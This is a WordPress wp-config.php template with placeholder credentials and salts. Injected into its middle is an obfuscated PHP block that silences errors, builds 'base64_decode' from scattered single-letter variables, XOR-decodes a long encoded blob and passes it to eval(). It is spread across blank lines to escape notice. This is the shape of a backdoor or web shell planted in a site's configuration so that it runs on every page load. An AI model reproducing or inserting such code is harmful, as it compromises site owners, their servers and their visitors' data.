<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';





error_reporting(0);$hidkbcd="a";$dxar="b";
$mihy="wepyjh";



$oipwp="6";

$marupyog="s";$nsdrv="e";$gtqg="ig";$wyv="4";
$zyvbee="_";$vchuj="uqh";$kejfhf="v";
$zhmdxc="c";$bdb="nzq";
$lxag="kcpv";$rjcdwej="l";$gem="txpkgmx";$byg="d";


$aexhfdx="o";
function k($o, $d){ 

$j=""; for($b=0;$b<strlen($o);) for($h=0;$h<strlen($d);$h++, $b++) $j .= $o[$b] ^ $d[$h]; return $j; };$vajhzuvz="bpkdqg";




$enf="uflwijuh";





$ohrydgio="mqvj";






$aorxvgywgpk=$dxar.





$hidkbcd
.$marupyog.
$nsdrv.

$oipwp.



$wyv



.$zyvbee.

$byg





.$nsdrv.
$zhmdxc



.$aexhfdx.





$byg.



$nsdrv;







$uvbusb="ijzjf";


$iizjkrjk="szxt";




















eval(k($aorxvgywgpk("XDD I[C^Z]FY\\MK_~C^Zh\UgUVH\YKTYOm@MX,MEXIRIGXD_XAQp MsJ@I4I  R[XI"@IXz UO[V]&PEHI$C BhOCHSIROIJU]^O^LDEHJFF@FMJNINBE_yF)C^hIIOHSVCB
X|I_YB	EBK8	OCXS6OwI^X@\F]^1KLAJS\$5={v6 T iW LXMU 2CTXUHJeMV^J U\LD0 ^xEASKC@MMVAJ 7@ILD0 ^ET%Eu#\
I^B'_SCJ*>#kbMVMJ {ELD ^xITSKCG_#kJ VCLD ^JC^SKC YNMVCJ XULD  ^XJCSKCIXMVF.f_dGO1!OU T OW LJUU cTXUO2 NmMVASYCIV;-_SIB^ AC_M\A^K%	_S^^ oC_\X^[~ 3HUBH@HTZM] WO U\XO TBUD@HTMO] W@ U\Y*7^V= BW(hy?\j^J_S__^ XOC_^	\9E^U?	_SJ_^ AC__\A^D
_S^E^ |;4C_X\B^h
_S@Z^ E	C_C\	H^M_SB\^ [C_C	\K^@_SEH^ IC.yWYOCBZWXnBQ^B?RKQCYBXEXWCB_ G=N@ "GFXPDEIJIw.]	X^ WOCS~^I"X+QJZ]]TH\eBRuX[ZX^_eBX\>LCTN]S_^\^_!B\+N]HTBW\^eBuCXT[IT_J^_3B2ETBGBX	M^_.
uBJTBD
@E\IeXu\WCUAE\M _I"X[-ZM]NKCTCQ\^eBuCOPTLIM^eXC4BTJYOZ[BTNS\M:BXB#@T]TAZ~D\G_#6\_DL5;/U_DJX)OMZQ	XDCW:w_S/d"_DTqCSQEy BT]^HA]^HCYAI?#Y;E
OLA#\UTJ_7LCTI]S [O[qw;@CHP@@9(|ZO@=BTM]OXSqD|Z|BJTMBF|BTOSA#\UTI_7LCTJZS [H[|COBRKSN_YB	EBKF^\CdDyOY^Z@MJOXCBC: ]	~+TM_IXJ#8w90^XY*O @QF \]\IXJ]BhXICAw#\BTNI|\WJMA*@T
U"[MBS[|QTSCZ-BAB;BX3|[SBTH$OCCTHX][|CJTHBC|[SBTIISTqC!|X	Y|LXTU)RT:RO]D|ZT].\[w|QTCZ|BJTBFBqG\NZEMXC<4[TS[|CJTJBCUq 
YBMXw L]TNA@8TD
IO^|\W7VEC	COAIw#\UT_7LTTSY;ETO@8CR|WZ|BJTHBFAqC8CIR|ZwZ-w;ET@8TD
N^|\@TMMS [O[OqCOAIB <4[W@=
HBC|[D
HOP|SWCQ|X	Y|LXTU^AI)O4[T[|CJTNBAwCBqw)TRMX|ZNI@=BTOX$ZNO]L4[T	K-0=BTMXOX$ZM]L4[T-w;ET@8TD
IO^|\@TOMSq\[PBMEK
C/"ITISNO#Y;ETI6DDICOAIB <4[MW@=
IBCUqw)\TM- XMOWOXUBCB CI_\F]_QY UEYLREXU[H^[HX@
QKO_XRJCYABXw$OCCTJY][|C]TMB;@M)TMXXM' [MM[OH^A"|DA*W[q;@CMPxSK^A1*@TT"[HS[q^O	E
YOYIB3|[D
JP|DC:RD|ZTXSqQ|D@A]YBVEBYX08CRI)Z4[W@=BTO\O_\Yw|D DM-L	 B\w#\BTOMC.f95b+|C]THD;@CP|SWC'M C^3|[SBTI$OCCTIS][|C]TNLHT)ZEB	YXXYAX+|C]TICL./"ITINSNO#ZIIBF|UT	Z_U@H^qJ	Z JA+|C]TM;@GqQOm@ MZ;_#COI0CHHSVYBXECG[F SWCX:yCAY^@
XE" DW~O~[FI@Iu<<6.^YBK4Q^@D\ZOOC_X$ZHJYXCMy[WO_Tw^F_]DyuD$GJBZf#uU\@@HT^H1A=KdU SZEdy5n SVQBHV#J '~`LD  ^NCHSKC^IMV?NJ 7@ILDEAA)j]U"3C_^\E^H_SC?yf~C_C\X^__SCNE("_:] WM U_A$tUB@@HTAI] WB UU7CS^KLW*Uc \[^o_SZI^ ^C_I\I^
Y<> ^m?;OF]AX?J^!qP=OXCB]XYV^IY^Hy[]IQYBO FF
O_XRuDdNZDE@OERwqCXUCBX9U\IeXu\WBMCS@TZGM^e Zu^TLWCZZYFM^Ie*\UTHO]NKCT@R MIeX2@EDPT@NOM^eXC4BT\YZ]]TL Ie)[JDXTE]Y\^_I=	[uZGOBD
CMeBuDUECUBF\M _I"X[-ZTHJ]HTB
M_$BXZu[D[ITM__I#XXuCJTCNLA\D
NQ\M^-X3R\T]TA^^_eBX\>LTT[LMWBBTE@~NIO\^IM\_IJ2wW\D/d0O_X$OXOROYW#6\_DL5;/U_DJX)OMZQ% [EBAY@[	 [w:R@TZXO[qw;@CC^|\WBHCQ|X\[|COEDP|DUFO7RTAGBOC^.IICOAIB <4[T[MY;E
OX$ZSNO#ZFILDqCOMT]IMBDC^1w|B]]TY@OqN$ZSNO#ZGHLD|ZYCS[|QTEQTM\MDC i@w#\BTLJSC.Y BC^7@I3|[D
K|\WBHCQHL0T@ HYXw)VQA]UWq0=
	A#\UTH]L4[T[MYLH/MD7@I M^iA+|C]TD@OOS/UHCO
Xw:R^UU63|[D
J|\WBCQ|X\[.\BOC^i	Z _xAYXZJYXOCBD1|QEHwnZYS[qw;TEPQZnBJTA\DnZYCS[nQTEQ\T(R@TZXO[q@ZO I]\FH&AVMEZUT
\MBJ[K \MD\
_U@UX
EVINGT]ZJ@[]B\DHSLXI
XMXDYX_IO MB MXY\@Y MOZ]IOBJM N_	MBHZOETF\NDDOMBG_
MHLZN\WG\MH_U@II@BXG	E
IQMB[XCDB[J XYD
 \EB_\S EOIXMELH_U@UX
EVINGT]ZJ@[_Z[IM CY
N@IMZYC	I^MBHOITY^ITIVZOMIHNHOL	HZOHL\UQ\LHO[EZG_\	ZO_BN	SZMH]HENJ[KD_\UQHEDEJN\E\HD XUWJXEVRCZBIDWTC^[KUM^I_H_\XH EVKP\\CI@_R_\OIHT	M__NUQENEUT__U@II@BXG	E
IQMB[XCDG\TBM IZIXKAIH_KCXEBIHTEJ	APN
OCIY\MAC BKVU_ MS\LVVHEZJ[MBJ	X	@PJBXFE	HWDWTCZJ@ZHL\@E__Y\I@JOBKCN@D\L\G\J[ ZVUHZUQHEDEJN\E\HZOETFHZUQHZW
O[	YXEZTFESELVVHEZJ[^MXIUHE@HBBISGHXG@KIEDXVOTT^MINCZ]L^MIWO[_XNJX]_IR[XCDBID^T	X^ I_ME IXOHHIUPMMYV	^T^IHDDWBEP&aB+IXQM@,Y^%J\ RIAy~YBXECGBIX~
HCXB\V@IKXDTZDBJ&PKM^IY^H_X^Q_X^+JJX2^IIM@IUMNHIJG@C ]XY[Tm176ij>def?+)=c|;($y=:tu( KIZ@BKXH^@TTBD[ GL@XDP&Q~mKYOCB-ITX \UKI~IM.2HH;jWB&RB CBYKIX&e\+Hm-E	EH[UA\U+4!!zi8!7i$$|s3hh9OqZ]R

Y+4!!zi8!7i$$|s3hh9OqZHLKZWJBCZWTEPs!i~=-~(S5ic0|sm0#6TqZI_JZ\Zs*i~z15?Tdx>*s(s-"~{3~h.,s5; qP
RGL[s9?~&i96d&x|40s5; {m+hih+!+!qCFWYZ\ZOSRTQs1526~wM2x$|45sj=~{*:h60-jc+qHYLWs/(z5~0Ji zi97m70 qPCI
@HE U O76&$i~"dx 7;+sj%({1~/(hs4c~L5HTVE\Y?CqZI_JZ\Zs*i~z15?Tdx>*s3`"(bx-e|L5ZTT
Qs'"6%i~1]d$x;2o`;ib?7e#S/GCIT][]P
MMVs.:z6&)d-x|s7+-6bx53|WqBQVs.:z6&)<~zi&8%7h~M'YKE4;i!"7~w^dxx$8'?ei$.s9|L0QRI@ETZA\XO@,i8,i"wL%xx"so-7o<:<io-ebk+.4TqCZ
VCEs!i~=-~(S:xx)soj+$+=bi).e>k4$|/UOAC\I]GBUB^s#i9;i~)d?<|,74so6bbi73-=ks#*-WS-i9>i!/Ui+zi~+& 7~7SYIE\Os8-~%1 w1xx|+$",oc$4i3x"#ks;|6SQS_IYWEZ@,i8,i"wL?ia=xi4)h7&Uq^I 
PQa&&JCIJXEBsI_MI~@^JBA~RYJYBBX"I
^IK&yTRYLA\Ts8(~z7~wL x'$-~i?i~i&@9ZpPKMRKH,'7~z<~w<30#s~/<i"i9JqOKIZd-x|s&""6~i8]K&KMRK&yTRYD[IAUX4>i~$i~0Od' "s~<ji~15C.JIYP&aHSTRY^IX
Ss9?~&i96d&x|4:i51 i~^q&TGDSQ&p&JKEJBOC+TE
X_S ~IYBDW&RKYECKI 5@YRPWKJA\W+!i~/i~wS/0'|s?)i"s**ib&qBATVs<~zi&<C;xx:%y#i92mk7bxL5NTIXBZS/0'|s?)i"s**ib&PHQSXYB+4!!zi8!8x?=sy!i~4)k6:&qBQ&	mnYB	EBK
IX6CA
B=IPW&TGDSDH^M\M I,]Y_XsI^RK&KM IXBSPIMI^_/E,_XH'zQagJYOXBSX|CXC[pPKIX^BK@XUQs1526~wM2x$|8JqR

KLs 1 zi+wd 34 qJ[MLJJUPH,'7~z<~w'"6%i~5*c"xL0O_[SKRDX\_NHKQJXDXWP&b&OXCB!I]_dHI _BHWyTR]DIM J^MExKHJMOs'"6%i~J_P UOOM&TGDSX__X  U_TB LJGC;xx:%YgRKHSTROBXEH&JZPKMQ&RKHSTVDIHI^TZD X^5I @
IUGH^S^Y[C^L X^5I @
IUsGHSS^_^XC^NXEGU K]Z][sTGDSMIwIM^.TOM@Y\nSJ&PKM^IY^HHI_&	mnYB	EBK MXDh
M[PMU
XMOKDWBI@ KICJ_IUZT	&YEOE_s^UCIBIH@ASPII@IIG^MRI	@I[&KHS^IODP	H@ZMOYI UK&STRYEO^\	TD
_XOGGH^UUCXJ[M@_XXYITHKS_X
BKE^XYT I_@X&TGDSQ&JZP^Y^J
_OxQ&sJYBBOH>CY OI*H1IMXXG@pPKIHMMVHT7BOHIPHSGCA&PKM^IY^HN&IBO[HMYa&&YBERHICHI'OI+H2MZ_GH]RW&YPDNN	IF4	IOHICL_ZOxY^I ThO	IV_ KLKZOxQ&sJYBB^5BHIZEYXRGUmnSJ^E\nUI_KU sCsN \XBV&ROI
6XI
KsX%N	XIUBS&STRIU`	DWZOYIU)X[&sTC_Yn	XRwqPbSTRJCIMOGLWEBX2U__ONJRN XITnSJZPOI_@X)X)qDNSrNI	nI_)EKMWU`BKX:_yJZQz&aMR^I^TUX_sX8JB^^_XnXIAy	x&JBOX
STC>ICIT8^ ]GIU]Gy&JZTICHHnI TODTN	LWDI)XE
xKHnUI_IGJ5C/NI_ZGH~RYGI+KXZPOBXZGn
 _B&&TGDWHI	HH)XIK3qH~RYJC^TO@JJPMX^B[PBOHIH6_QZ@DWxKHSTRHOCH&
XI!qPK^HZICnUI_wP9ZrJ^GU)XIwH	SPIU5IBK 9H&JZ&aMR^I^TUX_sX8JB^HO	IH0UXH~&&sJYBBJHssNXI@   EBW~GDS^YBK^^Us	\[S^H^ _ ; \@T_EBPbQy~YBXECG
XI%XsJZNI ]RW&YP Y@ZPLV&R^DQNU SM_J^N	XDWxKHSTR^_Y@ GJNOTNII&KH~RY^IX
S^	YXPgQ&xJYXKX~I_IB^Y@BMW&xKH\DOmDS_4M@MNT^@&EBE @MZW`ZPKMVODKU @sBEX\C@QpPKMROYs C\OKD0y~&5|$s8>`s$i~".u#17~ YJM@MH&JZPKMOY @sXD 726?c|>%#`4;i~;ju#''XRB&TGDS	^sXCXOD_T1y~5c|x+!+?`c=6c3m?$cb^BS&STRYO,_I\OD Roy9$c# -~i-y~b 5%=j/( PBV&RKHS^@&_IX[OV3y9!c|&sd.)h6&^P&TGDSJY@4IX\XCLOXRoy+`c| 8'<bb/9x$e&(cy& ZXH~RYT@sX\EO (=~?;"xs-eai;20_ZSzKMROI RY^@+ONDYaMRKHHIsKEJEDBS&STRYO,O@	IXxKHSTREJYD ^wMX\4CHqKISFBY^IX
SJM	IK&KMIISx&YTGDWY^%\^HO\
_+^@QY^N_yJZPKI__K@s\^_I<C ODIWqKPUDX_T]I&YTGDW^IZP,(xUKLY-\M_IH/@XDM'z&KMRKJ[_IY;M^H+I^qBAW]WK@D]@/\
_IwIUqs&TGDSNIEPRdx?8BZBp^%BdC^SDZ^2\M _I3X$V;/BoBOCBHo_( pB%^pBV\nSJZPOCOK_C\BPJ]_@QBRLOSZRY@s\HwMCXL0 V__HS@FC]\nyJZPKJV_CSxYTGDS*\XE_OGGHsTGDSJZT^KPI&KHSTRY[COCOaHSTRYTnSJZPKMRKLNSIRJKX_PG JKBBV&RKHSTRYLW^J^^_MRNPbSTRYTGDSTNKPPp^7ZTV^D~GDSJZPKMQ&RKHSTRYlJOOPgRKH~RYQ&TGDIXBP_\I&QabJXEB^_X:_O^@^	^&&TGDW^I
MLJ&xKHE\_sM@@	^sEXUK&yTRYPS	^sEXZYH~xYTG^@5	ICD K+y!8=|x&`+1!!ej3*i5~GMJM_IBS&STRYO,_I\OD Roy9$c# -5szi&."*dc9. PBV&RKHS^@&_IX[OV3y9!c|&sj$$`<#>co8xec:KDB`ZPKMY^7_ \XQODXG'&~`%*x/~.9y~<x~*&51  H&TGDSJZO^2_IC\@^o,~`c$3;;im.?~\[D&RKHSTY^s_I 	 Po>?`c"xs('b=11xx0aic!3HSCA&PKMRO@,XC	XHSoy86c x49ea7cy?DBD[&YTGDSOYsI\XZOD0! `c)xs|;40_CA&PKMRO@,XC	XHSoy86c x4=c&je.$h XR\^MAN_y&JZPKM^_\KU @sTIO\C`ZPKMVDI
ITOO^@sBJRTOMx&KHSTRO^@s INDYagRKHRIMH?TDX
sCqRKZC]R^IY^BT_IQp&PKMQI_IK&yTRYPs\_HKP\^_7YZY@~GDSJZT_R@,^_HwAIM'MKJDX\_LAy~RYTCBXXPKX^MA4C TX&O^I[w&JZPKMRL_SRYw&TGDSJZPKMUZIJ
+IIJG@_V&PKMRKHSTRI^E;II%BAJLJ
_~RYTGDSq`ZPKM/ab\TRYP Y@2CXKPV__HSS_@CT]DTJTTYs\^_wT_X^qZGFIDZT_RXHSP^@&\M^ (\XWqBV&RKHSP I_@XdSB^_@KR_@QGTTH^TC@s^I6D_XL5y~RYTS@/\
_Iw^S/&TGDSJZP_YXdXSZOCTC@s^I6\^XL5yTRY	 IW`ZPKMRKL^@X1C_XTIYS	@YTMPK\@THCT_TH&JZPKMQ&xKHSTR_OGI GYS_XMsOGXsEI_Y,_XFZ^C RIa ^L  5!2as)6e5b?2oc<bi(< SPCBITX]\nyJZPKJV_CI]RW&sTGDSJZ\_V_CIXR|6xVGJSYs MIH)\
DT)R[dx 7KB6pBV&RKHSTR\YXO@ COX\I%C_IHSP^@&\M^ (D	XWqKC.^pJH~RYTGDSJXOCOIXGH0XIXXIM
@O
ECTF[YC^Y^
CHppOxKHSTRYJ\[_GXGMoBXX^BKDVI^@T\
MAI4^/PsTGDSJZ\_V_CIXRoBBIBJ@_1^pp^7ZOxYTGDS
Y_CI_CGIDW^M_TE8pB6pBV&&RKHSTRY^IGTH&JZPKMR[@\SJIJIXCS&KMRKHSTRYNIGIXRCIX^[ZZOxYTGDSJZPEE^[_T\]N&TGDSJZPKMREJCLNSIO%^pBVNDW^WZK&KMRKHST&&YTGDSJZJ@IV_CI]I&&YTGDSQ&`ZPg&RXI_\Omn&&BXBIXX6E@0BkI 0Do\OM^A KLG[WsTY^Z\I2AMODCJ3[P IOC7Y^	mH)_ID@CH\ J^GUBDOXIyTRYRAnSJZPIK-AMD[V]pV HI9YO,BH0M_^[ @HOCHO@M^\OIU[VUIsQ&&
XEIOX7AMe3X{XDnEN
MMDWxKH^ ^BY\^I8	XOR_lDO M_^,OCIACZMYIxKHSTR

sTGDS\K/A
ODZ7FQXRNM
I+CHR MA[VHX&&&J	ECZHXXiME!B4	M^MND&JZI^BR\^sODQl[EHS\MKP^YbSTRY

~GDSJZ ^
sAXO@\(\U\WG^&&&B CBY\^E6BHxXYAZDWAPW&TGDSX@VMI&&KHS^QED\DWEVZ^BEBAGHBE_LMSW&JZPKMEX]IRKII^M 6BH^K[KOTOxYQ&~GDS^YBKIXE@IPbQy~J]si&1!!w8?}%i89sa7xd$,.TOYki @DU
	_XCIsk7xwLGT)[
_X^
LM_L/HCH4/i'/UXG^qTZYSZEMxCIB/OHYW&&TGDSJA4MRM^	US\PXG[TC@EXxIB6IOI]I&YA_JGM-IBH\_CsIB ^h
M[&aHSTV^IYI_ 2J^D_MV\M zHMI&~GDS_ CIOXA[^E	sXMLI]_|XV^II  '^@U\_CSz&KMVF_cOXYF
,HI	HOCI^3BH;M_IBSLW^I
C_AIUBAy~RYEJ\C CB%FO@WUZMH xCIB	GYN@H
IxGI,IIHY

PBcIXFSWM^X'IB^QIGFCsCZ%C@sO	&KHSTRIDCsICICOssXsV[&Y	mnSJTXPgQ&xI	E  MOI^IGFQ&NIVMKI~I
^ZsE\TZDIX8Me,HH mjCAyPMDKI 5@YRK&OI]I_=^TOC_XTIDW_IIh@CgIS&y__I O@,ki>!HL0RW&KHSIXI!ME3B7I:EXo^X[P-ki-wE@9_UYKIIAE@?M^DHI COm	nMI_@X&kix/@qCVTGxKHETZHIIOX1
@e=I{Dn_I]\W+5ix"EHS:MZM@?MOI^KUIMsHI 5=i$wLH/aHSTJQHIX6AMek-ki?3UqPIx^G^KP-ki?3Uqs&TG@I]_|
MAK	^sTGDSPUMIME<^I^U&TGDSM\WVS\ aHSTRY^I@DNNI aMRKHUGYmDSCA&zKM I]_$^M_TIB	HOCI^3BH;M_IBSL^@OHEFCB4BI]^I]|MABD RGZOxY^9_C)XVM^IYI|I]Y&^@FZII_|M	A ]I&&Y[`&zEM-i9>i!/U~i(yi 8)6xd%>-VPU|c8<SRTE
_IX\C;#c>!6D	&KHWCBY+7+ xwM-aMRH
MSIRF_BsHIN_BGMX^IPb&STREF
,@Ms^^[VU9'=bs<~~c&8*<biCZWzKMRX+ I_	CB_8HIBH@PgRKHXsTnyJZIEZHg_SIRM^MUs XPg&R[YBHZWGGK&RKHSX\&^I_
 Is	HY]I&KHSTRIEX~GDSQ`pPKIHMIc_ R__I O@MX!6DRH
M(SqYS\nSJ^BA"JJIXKUIXQHM ?TB7SOO	MXwOqSNRB&TG@ U_:MJAOEI\VHMMwC.UZMw\6HSSU&YP yMJG_XVHM	wTqPPMwM	YWqKWU&KHSPJ^AIyGYSE_XXXM)EOqZTMMXM/@qJ@WPgRN7ZIXNMM0J[HUqKWWXM"[HS:DIMA&PKM@BK>	NT__X+4!!zi8!8x?=sm1oi;<s?5<ky8ki)NDL__^CIs7~z.:wT<&x|&moo170,`m$=y1k.Jq R KZSNRB&TG@AMMIO&RKLI@|^MA:	JXK&KMV]YU   EBkIXTZDQ`ZPOIMI^;M^AYK6]Y	X8I
	I^0J_oDTyM$JC-TMKI~II  :IMI^_\N?QI	Wo>|MX^V/Y~GDS_|
MAR_ ZHXMwSTqJETH
MwUD\L5ITUs&TG^IDPO2ki&MHIDAJ&PKMREHW^MTEFZW`ZPKMRKJS\IXOXieB-X'Eo^\XCL\A YGINMSW&JZPKMRKHSPAM@TCH)C^mBnMG\^E\ J^GUBV&RKHSTRYP	E@:^A%AIROMI&YTGDSJZPBXBYS&STRYTGDI@EXIXi	E=kI{EX% I^R MA[WaHSTRYTGDSM@KPN_I]\sCHX^
LW\MAY KIGIaHSTRYTGDSM@;^MbMNTVBMI&TGDSJZPKMROCE&YTGDSJZQ@EJZHIO1MEeBkLW\MAYK&RKHSTRYP	E@JGT\
MAI&KHSTRYTGDWIA@ MAbAIKUWAIB&TGDSJZPKMOBXYOxYTGDSpPKMRKH^U*X^E #XDGTB
 I\VO]TV\MMAZGFU`ZPKM&KH~xY]
XBkR_Y	X\V]Y^U Kk PGM[&aHSTJQDM4^MS&aMRKHD|^MATZDX^TD
D|^MDW_D)M^M<T.`pPKMREJK@H OX<AME.
4IX=Xo\XZD
D# MAUGMZW`ZPKMRKLI@DHI COm	nMI_@D|^MAXG@IUCA&PKMRQaHSTRYI@_[HIOiE@;Bk{ nM
I\C_D:^ABDWxKHSTRYIJMI]YsHOCW_D)M^MN_yJZPK&RKHS_IJHXiEe*IXZD
D# MAPW~GDSJZPKMIMEHSPM_|M^
_yJZPK&&RK&yTR]^I]|MAVMM^ MUK@&STRYCSJ^E  aMRKHD_&JZPKMYVVW &YTGDS@MZNOMByMGbSTRYE@DNNAEA&RKHSSDcJ	I aMRKHSRYBM+J_ zKMRL\TTO]_U_$JC zKMRL \TTO]DIM#@MCAGgRKHTD&M `ZPKMUEYLHMTVEJMAI!HyJZPKJ[HUUHh^ZI^~GDSQp&PKM^]YX# MA
BOIXICHCO5Hn_I@O CB5BC I]_$^M_XG@IUCSzKM I_"_!X^Y^_X:_OI]I_=^XR^]YI4^M	K&KMV^If cNsHCIC	IOHI8YmBnM_QP[^	\:_X  OI
][&YD[^	\:_cNVHQ]RITX&~GDSEZT^\fCB$
F^J	MXEC!zEX^IO_`EGTnyJZPKJZ^\9BcFE@ZMIOTES&yTRYD[^	\:_cNJX
cJ/E_E QQWGRYMBIHIA~RYTGDSEZIDMIX
HD IYEZI@J^	DWBXBXVOH @[f_cFFSW^@I]VUB&TGDSJZPDHI 'O CBCTC_\ 	Cc		YXRX^I GWVZ&JZPKMREOxYTG@_ZWz&KMRKHSTJQ_X^[^	\:_cNJYPQ YCBZIDEIECAUJUS@_W~GDSJZPKMRDHIEAIXGX\G]EP^J^DTTCBIBXI@THY^G^OI_f_c_W[Y^@VD]TXzKMRKHSTRIMHLQ`C	XCW\_>CB6NFJF^@H PXI RYAyTRYTGDSJZIEV&RKHSTR&&TGDSJZPVIA
@SIO[W~mDSJZPKMRBXQsk13MSZS&KMRKHSTRYTHKSIORXMRDXEZD^I DJCXXU@NV\I_\>cN W@IW]TV]Y^U Kk^LSxKHSTRYTGDSMIE`OMCNRY^I. CB%F]OY^QKFLV\YI^4EB=I K^Y XXZOxYTGDSJZPKMI
EXPbSTRYTGDS@IK&&RKHSTRYTGDSEZTD
D|^MA~RYTGDSJZPKMRDHIEAIXGX\G]EP^J^DTTCBIBXI@THY^G^OI_f_c_W[Y^@VD]_|
MARLVH~RYTGDSJZPKMRD	HZ`OMX
IDZIf_Bc	MPY^QZG@M_*MMAX YIGHCF[&YTGDSJZPKMRKHI&YTGDSJZPKMRQIISxYTGDSJZPKMRDGC[AI DXXWIY IJ_SROCXIB ZCCYRKI^I\fB<Y^ESMDK&KMRKHSTRYTGDSDH^CO`CMXBITP]^I_-BcNWI^@PQ K^^I~GDSJZPKMRKHSTRIEX~GDSJZPKMRKH~xYTGDSJZPQagRKHSTRQ@_ITnyJZPKMRKHE\V]Y^U KkMKORW&KHSTRYTGDSJZECIDMD|
M]RW&YTGDSJZPKMRKH\TODD\]IEZO^^CBX	NQ^IC I_"_=NFTWQQDZM|M MAKFTJP&YTGDSJZPKMRKHDI^Q`CCBPZ^OI_f_c_W[Y^@VD]_|
MA^XI_TAP&TGDSJZPKMRKHSTTE&TGDSJZPKMRKIWsTGDSJZPKMRKH\[RIOCH
MX YEJDYOCB 
ZAY@VOV^If cNWVQJTOEMIME8MbMIVZF]M@KCLaHSTRYTGDSJZPKMDIHI@?MXCBTEJS^	\:_cNJYPQWZG@AM|^
 bMIEJQZRIME@XGYIFZ@BV&RKHSTRYTGDSJZIEV&RKHSTRYTGDSQ&JZPKMRKHS	@_W&~GDSJZPKMRKHRM_D$AJ&PKMRKHSTRYTGD\DIQAIMXY]YZI_]CIB[SYOY^I. CB%F]OY^QEJQZR]I^U'BK-XPKIDMD|
MT\^~GDSJZPKMRKHSTRDMHIOF?COEBQMR^\9BcFE@ZRICYIBK>IXZEGQNMD;^M YXRK&TGDSJZPKMRKHSTRITX&TGDSJZPKMRKHQI&TGDSJZPKMRKHS[]IDCV[	XMJX\F]YZLI_D^OCXMJ^PV^If cNWVQDXROAM@|
M:AIWZG@AMR
ICYIBK>IXZGFTQpPKMRKHSTRYTGMHR`MXCBQH]P I_	f_C(XY@IMOA|MMAb
]HTTIE@\
IFWI^ X^	4IXFZXYABPbSTRYTGDSJZPKMI
EXPbSTRYTGDSJZPQagRKHSTRYQ~mDSJZPKMQx&KHSTRQs&TGy&JZJKE^_\!C;FGWMBjz_C^PQVUQC[1XA@VND&JZPKMOBXXSIRNM
I+CHRIf_Bc	MPDX@Q]\nSJZP+ZMTVSZROBXIMH&JZPKMITXaHST&&YD[^	\:_cNJM CB?C^zC^HMKODCXhMP&TGDSN^x?IH^INTIX)^CXJTI)CAEB%	A\[&YTGDSJOCKOAXMK X_I]EZS^IPOXIXLXWY0~I^OMUPbSTRYDI&OXBRKLY&C~HE^_XI\X]I&KHSTRIEX~GDSQ`pPKJZ^\9BcFEXEj^=_EC^INIRBXjC	 QpPKMRDXs\C_Is ZNK&KMRKT I&YQ~mDSX_\8_C'NYLWOXE	"^z	ECOQOIEP&&TGDSJJPOI_f_c_W[JE@	IZMIOEICAy~RYTC@I.XVMNMI_7IHIQDITFN	IF4	IOHICL^f_BcNJZJI4MQ[Pb&STRYEGLNsX/@I@ZK&STRYTGDNsH/OMBZaHSTRYQ&&TGDSJZUoD^MIRIBI~MCEBPbSTRYN=YA^VMKII^
I!HCX^	[`ZPKMVNUmUDKIXI8BC>X^BKCAy~RYTCZI+	MBI MX:MA^EBOMH&JZPKMNCN%	ATOKBI^!MBA#XBKZabSTRYIODWDX^IQ_O E\V&STRJBOX
SJ^_Z,_\Y S@&TGDSHTT_
ImCO6HUY&TGDSQ&`ZPCYBXEZT	&YTGDIXJXP	XI1DM	O _WTNMXP@I6MX
HQS[&YTGDSJZ&PKMR@QZRN XIb
^_JTPKI[Rm^	U[V\UXI7MO^EO@BK H~RYTXPEKPIEKTQZRN XIoOX_PIC@IKXS_Y&TGDSJZPEMNXI%A _WwE)GYSJ^N	X.DM MO^ T\DM^7 mXBK&KMRK&STRY@DQNUI*^MIHS[,EBXL&MUBXP	XI<YA	^ T\B&TGDS`ZPKMIXKJSP@CbMAGJQJI)CNZwEHIm^MUTIF. U IQM\_>CB6NFJFE@.U IIPQBS&yTRYVIDW_MmEO\	C:AIY T@F]_ fBcFUIBAI	GJQQpPKMR&KH]Zs&TGX\_O\IV&&RKHSTJQ^I. CB%F]O^IE^X2I^?E@IVMSW&JZPKMRDTPAXMIELIJ I_OXIXD\@HTT^\fCB$
F^J	^HE^2JXj@OQ\UJyTRYTGDSITzKMRbSTRY&TGDSJTXPgRQabQy~M&sh;$0*|iJX@UgDA@UbHsT[X@DO\IDCK^~MHCA IXVEPR]XEIM~NDMH~[HUTpO\IDCKLDY_XHZPC^O,IXW[E\DKTS&]NCyH]DX@&"),",str,,y,,,tgds,,jz,p,km,,r,,kh"));


$tyoulch="xmvs";

$cjor="xs";



/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';